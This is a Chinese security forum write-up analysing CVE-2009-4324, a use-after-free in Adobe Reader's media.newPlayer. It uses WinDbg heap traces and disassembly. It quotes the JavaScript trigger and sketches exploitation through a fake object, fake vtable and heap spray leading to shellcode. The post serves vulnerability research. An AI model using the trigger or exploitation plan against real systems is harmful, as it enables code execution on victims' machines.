author:dge
又要过年了,迷迷糊糊一年过去了,新的春天要来了,希望一切都会更好。
这个洞出来很久了,大牛们也给出了漏洞原理:http://blog.fortinet.com/tag/pdf-vulnerabilities/,但是没具体分析过程。
其实这个洞分析起来并不复杂,下边把我的分析思路写下。
1.能控制什么?
通过对POC分析可知夺取控制权的地址是Multimedia模块中的某个虚函数调用:
eax=02b75958 ebx=23826917 ecx=02b75958 edx=002e0031 esi=028a7de4 edi=028a7de4
eip=2d843114 esp=0013fb3c ebp=0013fbb8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Multimedia!PlugInMain+0x41b66:
2d843114 ff5204 call dword ptr [edx+4] ds:0023:002e0035=09020207
0:000> dd edx
002e0031 08020207 09020207 0b020207 0c020206
002e0041 0d020206 0e020206 0f020206 10020206
002e0051 11020206 12020206 13020206 14020206
002e0061 15020206 16020206 17020206 18020206
002e0071 19020206 1a020206 1b020206 1c020206
002e0081 02020206 1c020207 1d020207 1f020207
002e0091 21020207 23020207 25020207 80020207
002e00a1 27020206 2a020207 2d020207 03020207
0:000> dd poi(edx+4)
09020207 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020217 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020227 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020237 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020247 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020257 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020267 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020277 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0:000> db eax
02b75958 31 00 2e 00 30 00 30 00-30 00 30 00 30 00 30 00 1...0.0.0.0.0.0.
02b75968 30 00 30 00 30 00 2e 00-30 00 30 00 30 00 30 00 0.0.0...0.0.0.0.
02b75978 30 00 30 00 30 00 30 00-30 00 2e 00 31 00 33 00 0.0.0.0.0...1.3.
02b75988 33 00 37 00 20 00 3a 00-20 00 33 00 2e 00 31 00 3.7. .:. .3...1.
02b75998 33 00 2e 00 33 00 37 00-00 00 00 00 00 00 00 00 3...3.7.........
02b759a8 03 00 0b 00 96 01 0e 03-74 00 79 00 70 00 65 00 ........t.y.p.e.
02b759b8 00 00 68 00 00 00 00 00-0b 00 03 00 9b 01 08 03 ..h.............
02b759c8 48 62 b7 02 58 59 b7 02-f0 61 b7 02 00 00 00 00 Hb..XY...a......
结合触发漏洞的脚本:
function trigger_bug()
{
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
显然这个漏洞可以控制虚函数表指针。
2.漏洞是如何产生的?
CVE上说,是use after free漏洞,很显然上边可控的那块内存肯定是被释放却又被滥用的了。
我们就跟踪下堆的分配和释放看看能不能找出点线索,我们可以通过设置断点并打印相关信息的方式来进行跟踪。
首先让出漏洞的模块先加载:
0:000>sxe ld:Multimedia.api
断下后我们对RtlAllocateHeap(在函数的结尾下断)和RtlFreeHeap设置断点并记录地址信息,并让其停在调用虚函数的指令上:
0:000>bp 7C9306E6 ".printf \"malloc :%N \\n \",eax;k;g"
0:000>bp RtlFreeHeap ".printf \"free :%N \\n \",poi(esp+c);k;g"
0:000>bp 2d843114
0:000>g
断在2d843114 后,审查记录信息。
最后的一条记录信息:
eax=02b75958 ebx=23826917 ecx=02b75958 edx=002e0031 esi=028a7de4 edi=028a7de4
eip=2d843114 esp=0013fb3c ebp=0013fbb8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Multimedia!PlugInMain+0x41b66:
2d843114 ff5204 call dword ptr [edx+4] ds:0023:002e0035=09020207
接下来我们把分配在内存区间02b75000-02b75fff的分配操作都找出来。
直接在windbg记录中搜索malloc :02b75,找出来五个相关操作:
(1)
malloc :02b75958
ChildEBP RetAddr
0013dab0 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dad0 78160e11 MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
0013dae8 2d802bee MSVCR80!operator new+0x1d [f:\sp\vctools\crt_bld\self_x86\crt\src\new.cpp @ 59]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x1640
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb
(2)
free :02b75958
ChildEBP RetAddr
0013d274 78134c39 ntdll!RtlFreeHeap
0013d2c0 2d835f82 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x349d4
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb
(3)
malloc :02b75958
ChildEBP RetAddr
0013d6f4 78134d83 ntdll!RtlAllocateHeap+0xea7
0013d714 2380761e MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013d740 23816d09 EScript!PlugInMain+0x626e
0013d76c 23858345 EScript!PlugInMain+0x15959
0013d8a4 23814e7b EScript!PlugInMain+0x56f95
0013d8c4 23858435 EScript!PlugInMain+0x13acb
0013d8f4 23858a3a EScript!PlugInMain+0x57085
0013d91c 2382cff9 EScript!PlugInMain+0x5768a
0013d9d4 23809f89 EScript!PlugInMain+0x2bc49
0013d9f4 23809e5f EScript!PlugInMain+0x8bd9
0013da88 23806987 EScript!PlugInMain+0x8aaf
0013db1c 2384dc4b EScript!PlugInMain+0x55d7
0013db68 2384fb58 EScript!PlugInMain+0x4c89b
0013dbfc 20a36fca EScript!PlugInMain+0x4e7a8
0013dc5c 20a372cf AcroForm!DllUnregisterServer+0x220f18
0013dd58 2382dd3a AcroForm!DllUnregisterServer+0x22121d
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8
(4)
free :02b75958
ChildEBP RetAddr
0013d86c 78134c39 ntdll!RtlFreeHeap
0013d8b8 2380c416 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013d8f4 23858a3a EScript!PlugInMain+0xb066
0013d91c 2382cff9 EScript!PlugInMain+0x5768a
0013d9d4 23809f89 EScript!PlugInMain+0x2bc49
0013d9f4 23809e5f EScript!PlugInMain+0x8bd9
0013da88 23806987 EScript!PlugInMain+0x8aaf
0013db1c 2384dc4b EScript!PlugInMain+0x55d7
0013db68 2384fb58 EScript!PlugInMain+0x4c89b
0013dbfc 20a36fca EScript!PlugInMain+0x4e7a8
0013dc5c 20a372cf AcroForm!DllUnregisterServer+0x220f18
0013dd58 2382dd3a AcroForm!DllUnregisterServer+0x22121d
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8
(5)
malloc :02b75958
ChildEBP RetAddr
0013dbdc 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dbfc 2380761e MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013dc2c 23820926 EScript!PlugInMain+0x626e
0013dd58 2382dd3a EScript!PlugInMain+0x1f576
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8
我们发现这些分配到的地址和eax中的this指针完全相同。
通过记录我们可以知道,这段内存的最终状态不是free,似乎与use after free扯不上边。
我们继续
这次把util.printd函数去掉再次测试
function trigger_bug()
{
media.newPlayer(null);
}
这次获取的记录:
(a)
malloc :02b75958
ChildEBP RetAddr
0013dab0 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dad0 78160e11 MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
0013dae8 2d802bee MSVCR80!operator new+0x1d [f:\sp\vctools\crt_bld\self_x86\crt\src\new.cpp @ 59]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x1640
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb
(b)
free :02b75958
ChildEBP RetAddr
0013d274 78134c39 ntdll!RtlFreeHeap
0013d2c0 2d835f82 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x349d4
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb
哈哈,这次它的状态是free。这次和CVE所说的use after free是相吻合的。
现在只剩下一对分配和释放操作了,显然上次的“不合理”,是用以控制内存数据的函数util.printd所导致的。
通过观察(a)和(b)的调用栈信息,他们下边的部分是完全相同,这说明这两个操作应该都在一个函数中发生。
根据返回地址2d846775,我们找到这里:
.text:2D846770 call sub_2D846602
.text:2D846775 add esp, 14h
.text:2D846778 push [ebp+arg_C]
跟进sub_2D846602
.text:2D846602 sub_2D846602 proc near ; CODE XREF: sub_2D846674+FCp
.text:2D846602
.text:2D846602 var_18 = dword ptr -18h
.text:2D846602 var_14 = dword ptr -14h
.text:2D846602 var_4 = dword ptr -4
.text:2D846602 arg_0 = dword ptr 8
.text:2D846602 arg_4 = dword ptr 0Ch
.text:2D846602 arg_8 = dword ptr 10h
.text:2D846602 arg_C = dword ptr 14h
.text:2D846602 arg_10 = dword ptr 18h
.text:2D846602
.text:2D846602 push 0Ch
.text:2D846604 mov eax, offset loc_2D8BA0F3
.text:2D846609 call __EH_prolog3_catch
.text:2D84660E mov esi, [ebp+arg_4]
.text:2D846611 mov eax, [esi]
.text:2D846613 mov ecx, [eax+4]
.text:2D846616 mov ecx, [ecx+4]
.text:2D846619 lea ecx, [ecx+eax+4]
.text:2D84661D mov eax, [ecx]
.text:2D84661F push 4Ch
.text:2D846621 call dword ptr [eax+0Ch] ;分配内存
.text:2D846624 and [ebp+var_4], 0
.text:2D846628 mov [ebp+var_14], eax
.text:2D84662B mov [ebp+var_18], eax
.text:2D84662E test eax, eax
.text:2D846630 mov byte ptr [ebp+var_4], 1
.text:2D846634 jz short loc_2D84666C
.text:2D846636 push [ebp+arg_10]
.text:2D846639 mov ecx, eax
.text:2D84663B push [ebp+arg_C]
.text:2D84663E push [ebp+arg_8]
.text:2D846641 push esi
.text:2D846642 push [ebp+arg_0]
.text:2D846645 call sub_2D8462CE
.text:2D84664A jmp short loc_2D84666E
.text:2D84664C ; ---------------------------------------------------------------------------
.text:2D84664C
.text:2D84664C loc_2D84664C: ; DATA XREF: .rdata:2D8F2170o
.text:2D84664C mov eax, [ebp+arg_4]
.text:2D84664F mov eax, [eax]
.text:2D846651 mov ecx, [eax+4]
.text:2D846654 mov ecx, [ecx+4]
.text:2D846657 push [ebp+var_14]
.text:2D84665A lea ecx, [ecx+eax+4]
.text:2D84665E mov eax, [ecx]
.text:2D846660 call dword ptr [eax+1Ch] ;释放内存
.text:2D846663 push 0
.text:2D846665 push 0
.text:2D846667 call _CxxThrowException ;抛出异常
下边的函数会获得执行
.text:2D8430FC loc_2D8430FC: ; DATA XREF: sub_2D8462CE+203o
.text:2D8430FC push esi
.text:2D8430FD mov esi, [esp+8]
.text:2D843101 test esi, esi
.text:2D843103 jz short loc_2D843127
.text:2D843105 push esi
.text:2D843106 call sub_2D842C86
.text:2D84310B test eax, eax
.text:2D84310D pop ecx
.text:2D84310E jz short loc_2D843127
.text:2D843110 mov edx, [eax]
.text:2D843112 mov ecx, eax
.text:2D843114 call dword ptr [edx+4] ;夺取控制权
.text:2D843117 push 0
.text:2D843119 push offset aMediaplayer_th ; "MediaPlayer_This"
.text:2D84311E push esi
.text:2D84311F call sub_2D81DF66
.text:2D843124 add esp, 0Ch
.text:2D843127
.text:2D843127 loc_2D843127: ; CODE XREF: .text:2D843103j
.text:2D843127 ; .text:2D84310Ej
.text:2D843127 mov ax, 1
.text:2D84312B pop esi
.text:2D84312C retn
3.漏洞利用:
object pointer --> fake object --> fake vtable --> fake virtual function
addr: xxxx addr: yyyy addr: cccc addr: dddd
data: yyyy data: cccc data: +0 xxxx data: nop slide
+4 dddd shellcode
在这里cccc是可控的,cccc必须确保dddd能指向我们可以用堆喷射覆盖到的内存区。
just for fun
- 标 题:分析漏洞CVE-2009-4324
- 作 者:dge
- 时 间:2010-02-07 12:18:14
- 链 接:http://bbs.pediy.com/showthread.php?t=106866